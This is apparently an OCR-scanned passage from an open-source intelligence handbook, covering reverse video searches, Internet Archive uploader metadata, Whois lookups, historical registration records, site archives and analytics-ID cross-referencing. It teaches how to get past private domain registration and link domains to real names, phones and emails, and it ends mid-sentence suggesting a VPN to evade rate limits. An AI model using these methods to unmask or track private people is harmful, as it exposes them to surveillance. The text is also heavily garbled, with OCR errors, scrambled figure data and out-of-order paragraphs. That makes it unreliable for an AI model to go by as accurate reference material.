Baidu as a reverse image search as previously explained. The Videos Tool presented later will automate this process. Vimeo: Vimeo does not natively offer URLs with a video ID that display screen captures of multiple frames. However, they do provide a single high definition still capture for every’ video. This is stored in the Application Programming Interface (API) side of Vimeo, but it is easy to obtain. As an example, consider your target is at https://vimeo.com/99199734. The unique ID of 99199734 is assigned to that video. You can use that number to access the video’s API view at https://vimeo.com/api/oembed.json?url=https://vimeo.com/99199734. This address will display a text only page with the following content. Type: "video”, version: "1.0", provider_name: "Vimeo", provider_url: "https://vimeo.com/", title: "Billy Talent ’Try’ Honesty’"', author_name: "S M T", author_url: "https://vimeo.com/userl0256640", is_plus: "0", html: "<iframe src="https://player.vimeo.com/video/99199734" width=”480" height—"272" frameborder="0" Utle="Billy Taient &#039;Try Honesty&#039;" webki tallowfull screen mozallowfullscreen allowfullscreen></iframe>", width: 480, height: 272, duration: 247, description: "Music Video Directed by’ Sean Michael Turrell.", thumbnail_url: "https://i.vimeocdn.com/video/513053154_295xl66.jpg", thumbnail_width: 295, thumbnail_height: 167, upload_date: "2014-06-25 21:29:06", videojd: 99199734, There are limidess reasons why reverse video searching should be a part of your everyday research. The following methods will get you started with the most popular video websites. These techniques can be replicated as you find new sendees of interest. The portion relevant to this topic is the thumbnail URL. Following that description is an exact address of the "medium" image used at the beginning of each Vimeo video. Removing the "_295xl66.jpg" from the end of the URL presents a full size option, such as the following. • School resource officers and personnel are constantly notified of inappropriate video material being posted online. Identifying these videos, consisting of fights, malicious plans, and bullying, may be enough to take care of the situation. However, identifying the numerous copies on other websites will help understand the magnitude of the situation. • Global security’ divisions monitoring threats from protest groups will likely encounter videos related to these activities. However, identifying the numerous copies on various websites will often disclose commentary’, online discussions, and additional threats not seen in the primary' source video. • Human trafficking investigators can now reverse search videos posted to escort providers similar to the now seized site Backpage. The presence of identical videos posted to numerous geographical areas will highlight the travel and intentions of the pimps that are broadcasting the details. Internet Archive (archive.org) Figure 22.02: An Internet Archive video options page. 361 Videos Enver_Awl.o!d. thu’nbs/ Enver_Awlaki_archive.torrent Enver_Awlaki_avi.avi Enver_Awlaki_avi .gif Enver_Awlcki_avi. ogv Enver_Awloki_avi_512kb.ffip4 Enver_Awlaki_fil.es .x’nl Enver_Awloki_meta. xml E nv e r_Awlaki_wmv.gif 26-Feb-2011 09:08 26-Jun-2016 22:58 26-Feb-2011 00:05 26-Feb-2011 09:13 26-Feb-2011 10:46 26-Feb-2011 09:52 26-Jun-2016 22:58 26-Jun-2016 22:58 26-Feb-2011 09:04 33.4K 417.IM 308.9K 186.6M 202.4M 36.6K 686.0B 312.IK This view quickly identifies the email address [email protected] as the verified uploader of the video content. It also displays the exact date and time of upload and publication. In this example, notice that the author waited over an hour to publish the content. Since 2016,1 have seen the Internet Archive become a very popular place to store video, especially from international subjects that may be blocked from traditional American sendees such as YouTube. The premise of this site is to permanently store open source movies, which can include commercial and amateur releases. The search option at the beginning of every page allows for a specific section of the site to be searched. Selecting "community' video" will provide the best results for amateur video. A large number of anti-government and anti-American videos are present and ready for immediate download. Unlike YouTube, this site does not make it easy to identify the user that uploaded the videos. Furthermore, it docs not link to other videos uploaded by the same user. To do this, you will need to look for some very specific text data. As an example, consider that Internet Archive user Enver_Awlaki is your target. His video profile is located at http://www.archive.org/details/Enver_Awlaki. One of his video pages is stored at the address of https://archive.org/details/Awlaki_to_americans. Below the video frame in the center of the page are several options on the lower right. These allow you to specify video files with different file types. Below these options is a link titled "Show All". Clicking the link provides a view of the files associated with the video as seen in Figure 22.02. The eighth link on this list forwards to the metadata associated with the video. This data includes the tide, description, creator, email address used to upload, and the date of upload, as seen in the text below the example. <mediatype>movies</mediatypc><collection>opensource_movies</collcction> <title>Awlaki_ro_americans</title><description>UmmaNews</description> <uploader>[email protected]</uploader> <addeddate>2012-03-31 22:47:36</addeddate> <publicdate>2012-04-01 00:09:10</publicdate> Others: Repeating this process for every video sharing website can get redundant quickly. Instead, consider the following. Practically every' online video possesses a still image that is displayed to represent the video before being played in search results. This image is likely a direct link that can be seen in the source code. Searching "jpg" and "png" may quickly identify the proper URL. Providing this image to various reverse image search websites will likely display additional copies of the target video within unknown websites. We will use this static URL within our tools. Also note that this view identifies the exact date and time of upload. The video page view only identified the date as "1 Year Ago". A reverse image search of the thumbnail URL, using our video search tools in a moment, will produce additional websites which host the same (or similar) video. TV News Archive (archive.org/details/tv) Video Closed Captions (downsub.com) Everything Else Live Video Streams investigating any live event that is currendy occurring, live streaming video sites 362 Chapter 22 KeepvidPro (keepvid.pro) ClipConverter (clipconverter.cc) looking for an online download with the following websites. At the time of this writing, the TV News Archive, another part of archive.org, had collected 2,094,000 television news broadcast videos from 2009-2020. Furthermore, it extracts the closed captioning text from each video and provides a search option for this data. This allows you to search for any words verbally stated during these broadcasts in order to quickly locate videos of interest A search of the term "Bazzell" resulted in 35 videos that mentioned someone with my last name within the broadcast Selecting any result will play the video and all text from the closed captioning. The menu on the left wall allow filtering by show tide, station, date, language, and topic. 1 have found this resource valuable when vetting a potential new hire for a company. If you have encountered a video service which is not mentioned here and are solution which does not require any software configuration, 1 have had success These will attempt to download or convert any embedded video content. There are now several companies that provide this free service. The following are listed in my order of preference for investigative needs. Each site has a search option to enter the keywords that describe the live event you want to watch. You may also see Twitter links to these sendees while monitoring targets. If you are investigating any live event that is currendy occurring, live streaming video sites can be a treasure of useful intelligence. These services offer the ability for a person to turn a cell phone camera into an immediate video streaming device capable of broadcasting to millions. The common set-up is for a user to download a host sendee's application to a smartphone. Launching the application will turn on the video camera of the phone and the video stream is transmitted to the host via the cellular data connection or Wi-Fi. The host then immediately broadcasts this live stream on their website for many simultaneous viewers to see. An average delay time of five seconds is common. YouTube and other providers attempt to provide captioning subtides for as many videos as possible. This automated process transcribes any spoken dialogue within the audio of the video file and documents the words to text To see this text while watching a video, click on the closed captioning icon (cc) in die lower left area of the video box. When die icon changes to a red color, the subtides will display. These subtides are contained within a small text file associated with the video. It also includes timestamps that identify the frame in which each piece of text is spoken. YouTube does not provide a way to obtain this text file, but Downsub does. Copy an entire URL of any YouTube video with closed captioning. Paste this link into this website and execute the process. This will display download links for the captioning inside the video. Links for each language will download text files with an .srt file extension. These automated captions are not usually completely accurate. Slang and mumbled speech may not transcribe properly. Any time you collect and submit a YouTube video as part of a report, I recommend obtaining this caption file as well. Even tliough the actual text may not be accurate, it can help during official proceedings with identifying a specific portion of a video. Pctey Vid (peteyvid.com) Listen Notes (listennotes.com) Video Analysis Ifyc IntelTechniques Videos Tool Videos 363 YouTube (youtube.com/live) LiveStream (livestream.com) Twitch (twitch.com) LiveU (liveu.tv) YouNow (younow.com) UScrcen (uscrccn.tv) Consider the Video Stream Tool presented in Section One when you want to view and capture any live video streams. It provides the most robust and stable option, especially if you keep your tools updated with the automated scripts. This is nothing more than a simple video search engine, but I find it valuable. In a recent case, I searched a very unique keyword on Google and found no results. Petey Vid found a video from an otherwise unknown video host (bitchute.com). This is now in the tools and checked often. This is not a video utility, but 1 believe it fits best within this chapter as a media service. Listen Notes queries a keyword through millions of audio podcasts and presents any results. As an example, I conducted a search of the term "privacy" and received 10,000 matches of that word within the indexed podcasts. We can take this a step further with an email address search. I searched "[email protected]" and received one result based on show notes of an old episode. As the number of podcasts continue to grow, and audio to text technology’ improves, this technique will become more useful in our investigations. Real World Application: During several large events, I have used live streams to capture the majority of my intelligence. In one investigation, I was assigned the task of monitoring social networks during a large protest that had quickly become violent to both officers and civilians. While Twitter and Facebook occasionally offered interesting information, live streams provided immediate vital details that made a huge impact on the overall response of law enforcement, fire, and EMS. The live video streams helped me identify new trouble starting up, victims of violence that needed medical attention, and fires set by arsonists that required an immediate response. If you have discovered a target video on a YouTube or Vimeo page, you may want to analyze individual frames without using the utilities presented within Chapters Four and Six. You can use Anilyzer (anilyzer.com) for this task. Enter the video URL; select the appropriate provider; and click "Watch Video", you can now click through each still frame or modify the playback speed to fit your needs. 1 use this tool when I need a quick way to scrutinize a handful of frames, especially with surveillance videos. If you feel overwhelmed at this point, I understand. Navigate to the "Videos'* page in your Tools download to access an all-in-one option similar to the previous tools. This should replicate and simplify the processes that were explained throughout this chapter. I hope you find it helpful. Figure 22.03 displays the current configuration. Age Bypass YouTube Video ID IntelTechniques Tools Full Screen YouTube Video ID Search Engines Thumbnail HQ YouTube Video ID Thumbnail 2 YouTube Video ID Facebook Thumbnail 3 YouTube Video ID Thumbnail 4 YouTube Video ID Twitter Google Reverse YouTube Video ID Instagram Bing Reverse YouTube Video ID Yandex Reverse YouTube Video ID Linkedln TinEye Reverse YouTube Video ID Restrictions I Communities YouTube Video ID Restrictions II YouTube Video ID Email Addresses Metadata YouTube Video ID Download YouTube Video ID Usernames Archives YouTube Video ID Names Google Videos Search Terms Telephone Numbers Bing Videos Search Terms Yandex Videos Search Terms Maps YouTube Videos Search Terms Documents Twitter Videos Search Terms Facebook Videos Search Terms Pastes Reddit Videos Search Terms TikTok Videos Search Terms PeteyVid Search Terms Archives I Search Terms Archives II Search Terms Domains TV Archives Search Terms IP Addresses YouTube Reverse YouTube Video ID Business & Government Vimeo Reverse Vimeo Image ID General Reverse Entire Image URL Virtual Currencies YouTube Username Data Breaches & Leaks . YouTube Username OSINT Book Metadata YouTube Channel ID Figure 22.03: The IntelTechniques Videos Tool. 364 Chapter 22 Profile Account Images c h a pt e r Tw e n t y -Th r e e Do ma in Na mes Current Domain Registration & Hosting W hois queries (pronounced "who is") ViewDNS Whois (vicwdns.info/whois) Domain Names 365 Domain Name: cnn.com Updated Date: 2020-10-20T13:09:44Z Creation Date: 1993-09-22TOG:00:00.000-04:00 This service provides numerous online searches related to domain and IP address lookups. Their main page (viewdns.info) provides an all-in-one toolbox, but the above website connects you directly to their W’hois search. Entering cnn.com here presents the following information. /\ specific web page may quickly become the focus of your investigation. Websites, also known as domains, are the main sites at specific addresses. For example, the website that hosts my blog, www.inteltechniques.com/blog, is on die domain of inteltcchniques.com. The "www" or anything after the ".com" is not part of the domain. These addresses should always be searched for additional information. If your target has a blog at a custom domain, such as privacy-training.com, the content of the site should obviously be examined. However, digging deeper into the domain registration and associated connections can reveal even more information. Even’ time 1 encounter a domain involved in my investigation, I conduct full research on ever}' aspect of the domain, including historical registration, visual depiction, and hidden content. I rely heavily on the automated tools presented at the end of the chapter to make the work easy. Ever}’ website requires information about the registrant, administrative contact, and technical contact associated with the domain. These can be three unique individuals or the same person for all. The contact information includes a full name, business name, physical address, telephone number, and email address. These details are provided by the registrar of the domain name to the sendee where the name was purchased. This service then provides these details to Internet Corporation for Assigned Names and Numbers (ICANN). From there, the information is publicly available and obtained by hundreds of online resources. While ICANN declares that the provided information is accurate, this is rarely enforced. While most businesses supply appropriate contacts, many criminals do not. While we must consider searching this publicly available information, often referred to as W’hois details, we will also need to dig deeper into domain analysis in order to obtain relevant results. First, we will focus on the easy queries. ) are ver}’ simple searches, but are not all equal. While this data is public, it could change often. Some WTiois search sites display die bare bones details while others provide enhanced information. There are dozens of options from which to choose, and I will explain those that I have found useful. After the demonstrations, I present my own custom online tool that automates many processes. The biggest hurdle with WTiois data is privacy controls. Many domain owners have started using private registration sen ices in order to protect their privacy. These services provide their own data within the WTiois search results, and only these companies know the true registrant. WTiilc a court order can usually penetrate this anonymity, 1 will discuss public resources to help in these situations later. Some web hosts now provide free masking sen ices for domain owners, which is making this problem worse. Historical record queries will be vital if you sec this happening. Until then, let’s focus on current registration data. For the first example, I will use a target domain of cnn.com. Assume that this website is the focus of your investigation and you want to retrieve as much information as possible about the site, the owner, and die provider of the content. For the standard W hois search, as well as many other options, I prefer ViewDNS.info. ViewDNS Reverse IP (viewdns.info/reverseip) ViewDNS Reverse Whois (viewdns.info/reversewhois) ViewDNS Port Scanner (viewdns.info/portscan) ViewDNS IP History (viewdns.info/iphistory) 366 Chapter 23 IP Address 151.101.65.67 Admin Organization: Turner Broadcasting System, Inc. Admin Street: One CNN Center Admin City: Atlanta Admin State/Province: G/\ Admin Postal Code: 30303 Admin Country: US Admin Phone: +1.4048275000 Admin Fax: +1.4048271995 IP Address Owner RIPE NCC RIPE NCC RIPE NCC Turner Broadcasting System, Inc. Turner Broadcasting System, Inc. Turner Broadcasting System, Inc. Last seen 2020-11-23 2020-11-23 2020-11-23 2011-04-04 2011-04-04 2011-04-04 This utility attempts to search the domain in order to locate other domains owned by the same registrant. In our example, it located 28 additional domains associated with our target. If the domain possessed private registration, this technique would fail. Next, you should translate the domain name into the IP address of the website. ViewDNS will do this, and display additional domains hosted on the same server. This service identified the IP address of cnn.com to be 151.101.1.67 and stated the web server hosted dozens of additional domains related to this company. These included weather.cnn.com and cnnbusiness.com. If the results had included domains from websites all over the world without a common theme, it would have indicated that this was a shared server, which is very common. This online port scanner looks for common ports that may be open. An open port indicates that a senice is running on the web server that may allow public connection. A search of cnn.com revealed that ports 21, 80, and 443 are open to outside connections. Port 80 is for web pages and port 443 is for secure web pages. These are open on practically every website. However, port 21 is interesting. ViewDNS identifies this as a port used for F1P sen’ers, as was discussed previously. This indicates that the website hosts an FTP server and connecting to fip.cnn.com could reveal interesting information. The administrative and technical contacts were identical to the registrant shown above. This data identifies the company which owns site and associated contact details. We also know it was created in 1993 and the record was updated in 2020. This is a great start, if the provided details are accurate. I have found that ViewDNS will occasionally block my connection if I am connected to a VPN. An alternative Whois research tool is who.is. Location United States 151.101.193.67 United States 151.101.1.67 United States 157.166.255.19 United States 157.166.255.18 United States 157.166.226.25 Atlanta This tool translates a domain name to IP address and identifies previous IP addresses used by that domain. A search of cnn.com reveals the following details. The first column is the IP address previously associated with the domain, the second column identifies the current user and company associated with that IP address, and the last column displays the date these details were collected by ViewDNS. ViewDNS DNS Report (viewdns.info/dnsreport) Historical Domain Registration Whoxy (whoxy.com) https://www.whoxy.com/inteltechniques.com Domain Names 367 The utilities hosted at ViewDNS are always my first stop for a couple of reasons. First, the site has been ver}’ reliable over the past ten years. More vital, it allows query via static URL. This is beneficial for submission directly from our tools. The following displays the URL structure for the previous techniques, with cnn.com as the target. https://viewdns.info/whois/?domain=cnn.com https://viewdns.info/revcrseip/?host=cnn.com&t=l https://viewdns.info/reversewhois/?q=cnn.com https://viewdns.info/portscan/?host=cnn.com https://viewdns.info/iphistory/?domain=cnn.com https://viewdns.info/dnsreport/?domain=cnn.com This option presents a complete report on the DNS settings for the target domain. This tool is designed to assist webmasters and system administrators diagnose DNS related issues, but we can use it to peek into their settings, including DNS and mail server details. The search option in the upper right allows us to query email addresses, names, and keywords. This can be extremely valuable when you do not know which domain names your target has owned. Searching "OSINT" reveals a surprising amount of people and companies purchasing domains associated with this topic. Whoxy offers many paid services if the free tier is not sufficient. Of die paid services, this one is the most affordable, allowing you to purchase small amounts of information without committing to any specific level of subscription. This is one of the very few premium services which offer a decent free tier. Searching my own domain, which currently possesses private registration, reveals valuable results. The general registration data was "protected" and confirms what I found on ViewDNS. Scrolling down the page reveals powerful historical records. These identify my real name, multiple email addresses used during various registrations, and a date next to each entry to tie it all together. Figure 23.01 displays one of the results. This confirms that duringjuly of 2015, my site was briefly registered without privacy protection. The "9 Domains" link reveals even more information. Figure 23.02 displays this result which identifies numerous domains which I had previously created from 2007 through 2018. This resource has single-handedly exposed more private domain registrations than any other free sendee during my investigations throughout 2019. Furthermore, it allows submission via URL which will benefit our search tools, as follows. As stated previously, many domains now possess private registration. This means that you cannot see the owner of a domain publicly. Many hosts are now offering private registration as a free sendee, further complicating things for investigators. If you query a domain and see a name entry such as "WhoisGuard Protected", you know that the domain is protected. There are two ways to defeat this. The first requires a court order, which is outside the scope of this book. The second way to reveal the owner is through historical domain records. If the domain has been around a while, there is a very good chance that the domain was not always private. There are several free and paid domain history services, and I present my favorites in order of usefulness. Figure 23.01: A Whoxy historical domain registration result. DOMAIN NAME REGISTRAR UPDATED EXPIRY CREATED NamcChcap, Inc. lntC-tccAniRt.xs.cwn 14 Apr 2018 21 Jul 2019 21 Jul 2013 IntCiteciWicJ c*' GoDaday.com, LLC 31 Mar 2019 31 Mar 2018 31 Mar 2018 prfvjty-tra'nlna.rcm GoDaddy.com, LLC 31 May 2017 11 Jun 2016 11 Jun 2018 yo.'cctnputwwtfs com GoDaddy.com, LLC 18 Dec 2016 20 Oct 2015 18 Dec 2007 mls3cur.>,tcrr.atlonric*pc <ts.com GcDaddy.com, LLC 25 Mar 2016 1 Apr 2017 1 Apr 2008 , n; cmr.ionc cipcrrs com GoDaddy.com, LLC 1 Apr 2017 25 Mar 2016 1 Apr 2008 humf.hrvyirtemattonaictForK.com GcDeddy.com, LLC 25 Mar 2016 1 Apr 2017 1 Apr 2008 Figure 23.02: Additional domains owned by a target from Whoxy. Whoisology (whoisology.com) 368 Chapter 23 9JUL2015 Owner Michael BaaeH (Lto’ ■ "J Geolocation: Alton. Illinois, United States (129rn\rn&xn:.m from United States for $3,500) Email: L^J^-amputemeTlsaxn (Zjfcaa£$) EZZ3 Nameservers: nsOl.Coma'necntrol.com, ns02.domalncontral.com Status: ciientDcIctcPrenibited, cfentRencnFrohlbited, dientTransferf’rchibltcd, dicntUpdatcProhlblted Name Email Street City Region Zip / Post Phone Brad Carter (88) [email protected] (7) PO Box 465 (1,091) Albany (42,428) Oregon (492,506) 97321 (3,080) 8144225309 (4) The name, address, and other data can be found on any Whois search website. However, die numbers in parentheses identify the number of additional domains that match those criteria. In this example, there are a total of 88 domains registered to Brad Carter, and seven domains registered to the email address of [email protected]. Clicking on any of these pieces of data will launch a new page with all of the matching domain information. As an example, clicking on [email protected] will display the 7 domain names associated with his email address. Clicking 8144225309 will display the 4 domain names associated with his telephone number. One of these is a new domain that is not direcdy associated with him. However, since it was registered with the same phone number, there is now a connection. This sen-ice appeared in 2014 and becomes more powerful even’ month. Like Whoxy, it provides historical domain records as a reverse-domain search utility. The home page of Whoisology presents a single search field requesting a domain or email address. Entering either of these will display associated websites and die publicly available Whois data. This is where the publicly available free features end. Any further details require registration. I encourage all readers to create a free account. Once logged in as a free user, you receive much more detail within your searches. The first basic feature that you see is the display of standard Whois data which will identify the registered administrative contact, registrant contact, technical contact, and billing contact. These will often be die same individual for most personal websites. The advanced feature within this content is the ability to immediately search for additional domains associated within any field of this data. As an example, a search for die domain of phonelosers.org reveals the following data. Domain Big Data (domainbigdata.com) Archive.org Domain Registration Data (web.archive.org) Recorded : 2013-09-01 Historical Whois Record Registrar URL: http://www.godaddy.com Registrant Name: Michael Bazzell Security Trails (securitytrails.com) and WhoisXMLAPI (whoisxmlapi.com) offer limited free trial access to their historical domain data, but both require access through their API. Notla.com phonelosers.com bigbeefbueno.com callsofmassconfusion.com snowplowshow.com phonclosers.org If you navigate directly to https://who.is/whois/phonelosers.org, you can see that the domain possesses WhoisGuard protection and the owner's identity is masked. This is displayed in Figure 23.03 (left). However, it is possible that the Wayback Machine captured this exact page. The following URL displays any results. If you ever encounter an investigation surrounding a domain or any business that possesses a website, I highly encourage you to conduct research through Whoxy and Whoisology. They also offer access through their API at a cost. The individual queries through their website are free. Whoisology restricts free accounts to only one historical record and three searches every 24 hours. Because of this, Whoxy receives my overall recommendation. I believe Whoisology offers the most data for those looking to purchase a subscription in order to query numerous domains, but it can be quite expensive. Domain Big Data is free and similar to Whoisology and Whoxy. However, it does not offer many options for cross-reference search of data fields. It does offer a limited historical view of the Whois registration data as well as related domains based on email addresses. A search of the domain notla.com revealed the standard Whois data, an associated email address of [email protected], and two additional domains associated with that email address. There were over a dozen historical records of this domain's registration details. Most of them were very recent and identified redundant information. However, one historical record was from six months prior and identified a previous domain registrar. Searching my own domain confirmed that I possess private registration, but public registration from 2013 exposed the following details. You now know there are many ways to identify the owner of a domain through historical Whois captures. You might get lucky through a free preview of previous registration data or be required to purchase access in order to see all records dating back decades. We have one last free option which has been successful for me throughout several investigations. Wc can query the Wayback Machine for the exact historical URL of a domain registration. Let's conduct a demonstration. This type of cross-reference search has not been found through many other services. Another powerful feature of Whoisology is the historical archives. This service constantly scans for updates to domain registrations. When new content is located, it documents the change and allows you to search the previous data. As an example, a search of computercrimeinfo.com reveals the current administrative contact telephone number to be 6184628253. However, a look at the historical records reveals that on October 16, 2012, the domain contact number was 6184633505. This can be a great way to identify associated telephone numbers that have since been removed from the records. Whoisology will also provide details from the search of an email address. In my experience, Whoisology will provide a more detailed and accurate response than most other resources. However, this comes at a cost. Whoisology continues to minimize the free options in order to maximize sales. Your usage may vary by the time you try the free services. A search of the email address [email protected] revealed the following domains associated with that account. Domain Names 369 https://web.archive.Org/wcb/http://who.is/whois/phonelosers.org WholsGuard Protected Figure 23.03: Results from who.is (left) and the Wayback Machine (middle and right). Historical Content Archives http://web.archive.org/ web/*/intel techniques.com Archive Today (archiveJs / archive.fo / archive.md) Mementoweb (mementoweb.org) http://timetravel.mementoweb.Org/list/19991212110000/http://inteltechniques.com 370 Chapter 23 PA +507.8365503 +51.17057182 •75e*473ac44+9e7BEc&aa9a6cr5731B P.O. Box 0823-03411 Panama Panama Brad Carter Phone losers of America PO Box 465 Albany Oregon 97321 US +1.8144225309 bradenotla.con Name: Brad Carter Organization! Phone losers of America Address 1: PO Box 465 City: Albany State: Oregon Zip: 97321 Country: US Phone: +1.5057964020 https://archive.is/*.inteltechniques.com https://web.archive.Org/web/http://www.who.is/whois/cnn.com/ https://web.archive.oig/web/https://whois.domaintools.com/cnn.com https://web.archive.0rg/web/https://www.wh0xy.c0m/cnn.com https://web.archive.org/ web/https://domainbigdata.com/cnn.com https://web.archive.org/ web/https://whoisology.com/cnn.com This URL defaults to a capture from 2017 which displays the owner's name, address, telephone number, and email. This can be seen in Figure 23.03 (middle). Clicking the earliest archive presents a capture of this data from 2010, as seen in Figure 23.03 (right). We now have accurate historical domain registration data without a premium membership, and two additional telephone numbers to investigate. This is not the only domain registration sendee indexed by archive.org. The following direct links query domain registration history from Who.is, Domain Tools, Whoxy, Domain Big Data, and Whoisology. Replace cnn.com with your target domain. The domain tools presented at the end of this chapter replicate each of these options. If you visited the previous URL, you should be notified that my domain is not indexed by their sendee. This is because I placed code within my site requesting the pages to be ignored by The Internet Archive’s indexing engine. However, this request is ignored by other providers. Archive.org is not the only sendee which provides archived domains. I previously mentioned The Internet Archive and explained how it collects copies of websites over time. This is very’ useful when we need to see the ways in which a website has changed. This is especially true if our target domain is no longer online. The direct URL for a domain query at their service is as follows. This sendee offers a "Time Travel" option which presents archives of a domain from several third-party providers. The following URL queries my own domain, which found 5 new archives. This sendee also collects copies of websites and ignores all requests for deletion. My own site can be found at the following URL, which displays 183 captures dating back to 2013. Library of Congress (webarchive.loc.gov) https://webarchive.loc.gov/all/*/http://inteltechniques.com Portuguese Web Archive (arquivo.pt) https://arquivo.pt/page/search?hitsPerPage=100&query=site%3Ainteltechniques.com Historical Screen Captures Search Engine Cache Website Informer (website.informer.com) URLScan (urlscan.io) Easy Counter (easycounter.com) Spyse (spyse.com) Domain Names 371 I am mostly interested in the screen capture available to the right of a search result Figure 23.04 (upper left) displays their capture of my site in May of 2019. This option allows you to search by domain to discover ail publicly available content in the Library of Congress Web Archives. A direct URL is as follows. https://webcache.googleusercontent.com/search?q=cache:inteltechniques.com I was surprised to see my site indexed here with 12 historic archives dating back to 2017. The query URL structure is as follows. Similar to the previous option, this service provides very little valuable details. However, the screen captures are often unique. Figure 23.04 (upper right) displays a result from August of 2018. While it may seem obvious, you should document the current visual representation of your target website. This may be a simple screen capture, but you may have advanced needs. When I am investigating a domain, I have three goals for visual documentation. I want documentation of the current site, any historical versions archived online, and then future monitoring for any changes. Previous chapters presented numerous methods for capturing live web pages and techniques for locating online archives. Let's briefly revisit these methods and then apply new resources. These screen captures are in high resolution and current. Figure 23.04 (lower right) displays the result from my domain captured in August of 2019. Searching your target domain within Google, Bing, and Yandex should present numerous results. The first is almost always the home page, and clicking the green down arrow usually presents a cached version of the page. This should be conducted first in order to identify any recent cached copies, as previously explained. In my experience, Google is going to possess the most recent cache, which can always be accessed via direct URL with the following structure. The screen capture presented here was very similar to Website Informer, but it was cropped slightly different. This appears to be from May of 2019 and is seen in Figure 23.04 (lower left). DomainlQ (domainicj.com/snapshot_history) The following direct URLs will be used for our search tool, displaying my own site as an example. Domain Apps (dmns.app) https://files.dmns.app/screenshots/intekechniques.com.jpg Online OS1NT Vnleo Trwfnng Z ""--- © 372 Chapter 23 2 Imt el Tec hniq ues n - Int el Int el Tec hniq u es ‘fl Any time you search a domain within this sen-ice, it should present a historical screen capture with a date of acquisition. We can also submit a direct URL query for this file. The following URL displays my own site. i- . / J -Z~ -~~~ z zz -z t -;-— Figure 23.04: Historical screenshot captures from four resources. ■ DomainlQ provides numerous query options, similar to ViewDNS. Their historical snapshots are my favorite offering. Figure 23.05 displays the results for my domain. It presented seven unique views. More importantly.it disclosed die capture date, IP address, and host of each screenshot. In 2019, 1 used this senrice to expose a known domain which was suspected of being associated with an extortion case. The suspect quickly deleted the content before the investigation began. The site had not been indexed by the Wayback Machine, Google, Bing, or Yandex. However, DomainlQ possessed a single screen capture which clearly displayed inappropriate images of my client, which was captured several months earlier. https://website.informer.eom/inteltechniques.com#tab_stats https://urlscan.io/domain/inteltechniques.com https://www.easycounter.com/report/inteltechniques.com https://spyse.com/target/domain/inteltechniques.com https://www.domainiq.eom/snapshot_history#intekechniques.com * ----- ~rr. zzr-zvzz:. -_r “ - • ~~~~ 3 . r-~7, Carbon Dating (carbondatc.cs.odu.edu) Follow That Page (followthatpage.com) Visual Ping (visualping.io) fcWMW * WrancHHCLe Date; 2016-06-25 15 23 04 Bh 107.180 46169 DNS: wn Dale: 2012-07-04 20-0X35 IP: 107.16040 189 DNS. asmitneootrol erm Dale: 2016-07-26 10 00 S3 IP: 107.103 4 0.189 □a1». 7017-01-77 C047.07 IP* 13718046183 o D4te: 2019-08-0013:41 00 IP: 133.54.114 234 http://carbondate.cs.odu.cdu/#inteltcchniques.com ri Date: 2017-00-05 10 40 39 IP: *.37180 40183 ■ [■ '" Date.-2017-01-04 16 00 44 IP: 107.18046169 DNS: lamelrrxn:rc4 C3” A z. J*U Figure 23.05: Several screen captures from DomainIQ. This provided an estimated creation date of "2013-1 l-16T08:47:ll". Furthermore, it displayed multiple direct URLs to historical archives of my website within rhe Wayback Machine and other services. After checking these links and visiting any other archives at the Internet Archive, the following sendees fill in the gaps with screen captures from various dates. This free service provides a summan’ of available online caches of a website, and displays an estimated site creation date based on the first available capture. The following static URL would be used to query’ my own domain. Once you locate a website of interest, it can be time consuming to continually visit the site looking for any’ changes. With large sites, it is easy to miss the changes due to an enormous amount of content to analyze. This is when sites like Follow That Page come in handy. Enter the address of the target page of interest, as well as an email address where you can be reached. This sendee will monitor the page and send y’ou an email if anything changes. Anything highlighted is either new or modified content. Anything that has been stricken through indicates deleted text. Parents are encouraged to set-up and use these sendees to monitor their child's websites. It does not work well on some social networks such as Facebook, but can handle a public Twitter page fine. fl ' If you found the sendee provided by Follow That Page helpful, but you arc seeking more robust options, you should consider Visual Ping. This modern Swiss website allows you to select a target domain for monitoring. Visual Ping will generate a current snapshot of the site and you can choose the level of monitoring. I recommend hourly monitoring and notification of any "tiny’ change". It will now check the domain hourly and email you if anything changes. If you are watching a website that contains advertisements or any’ dynamic data that changes often, you can select to avoid that portion of the page. Figure 23.06 displays the monitoring option for phonelosers.org. In this example, 1 positioned the selection box around the blog content of the main page. 1 also chose the hourly’ inspection and the "Tiny Change" option. If anything changes within this selected area, 1 will receive an email announcing the difference. Domain Names 373 Figure 23.06: A portion of a web page monitored by Visual Ping for changes. Hunter (hunter.io) Blacklight (themarkup.org/blacklight) Domain Analytics Spy On Web (spyonweb.com) 374 Chapter 23 34 Advertisement Trackers 52 Third-Party Cookies Notifications to Facebook Interactions with Adobe, Google, and others You may want to know about any malicious activity embedded into a target website. Blacklight displays this data. When querying cnn.com, 1 am notified of the following invasive activity. Spy On Web is one of many sites that will search a domain name and identify the web server IP address and location. It also conducts a Whois query which will give you registration information of a website. More importantly, it identifies and cross-references website analytic data that it locates on a target domain. z\ search for the website phonelosers.org reveals a "Google AdSense" ID of ca-pub-3941709854725695. It further identifies five domains that are using the same Google zXdSense account for online advertising. This identifies an association between the target website and these new websites. We now know that whoever maintains phonelosers.org places ads on the page. We also know that those same ads and affiliate number is present on five domains. This means that our target likely maintains all of the following domains. Domain analytics are commonly installed on websites in order to track usage information. This data often identifies the city and state from where a visitor is; details about the web browser the person is using, and keywords that were searched to find the site. Only the owner of the website can view this analytic data. Analytics search sendees determine rhe specific number assigned to the analytics of a website. If the owner of this website uses analytics to monitor other websites, the analytic number will probably be the same. These services will now conduct a reverse search of this analytic number to find other websites with the same number. In other words, it will search a website and find other websites that the same owner may maintain. .Additionally, it will try to identify user specific advertisements stored on one site that arc visible on others. It will reverse search this to identify even more websites that are associated with each other. None of this relies on Whois data. z\ couple of examples should simplify the process. Previously, I explained how Hunter could be used to verify email addresses. This tool can also accept a domain name as a search term, and provides any email addresses that have been scraped from public web pages. The free version of this tool will redact a few letters from each address, but the structure should be identifiable. www.signhackcr.com Analyze ID (analyzeid.com) Amazon product 1452876169 DomainlQ (domainiq.com/reverse_analydcs) Hacker Target (hackertarget.com/reverse-analydcs-search) This service stands out due to their immediate availability of historic analytics IDs across multiple subdomains. Consider a search of cnn.com. Hacker Target displayed dozens of associated Google IDs, such as the following. cnnworldlive.cnn.com,UA-289507 center.cnn.com,UA-96063853 games.cnn.com,UA-74063330 www.notla.com www.oldpeoplearefunny.com www.phonelosers.com www.phonelosers.org We must first navigate to the URL of domainiq.eom/reverse_adsense#. We can enter any AdSense accounts identified with the previous options or ask DomainlQ to search a domain. I provided the ID of ca-pub- 3941709854725695, which was identified earlier. The sendee immediately identified multiple domains sharing the same AdSense account. However, the biggest drawback of DomainlQ is that you are limited to three free searches per day. This is monitored by IP address. If you have a VPN, you could bypass this restriction by 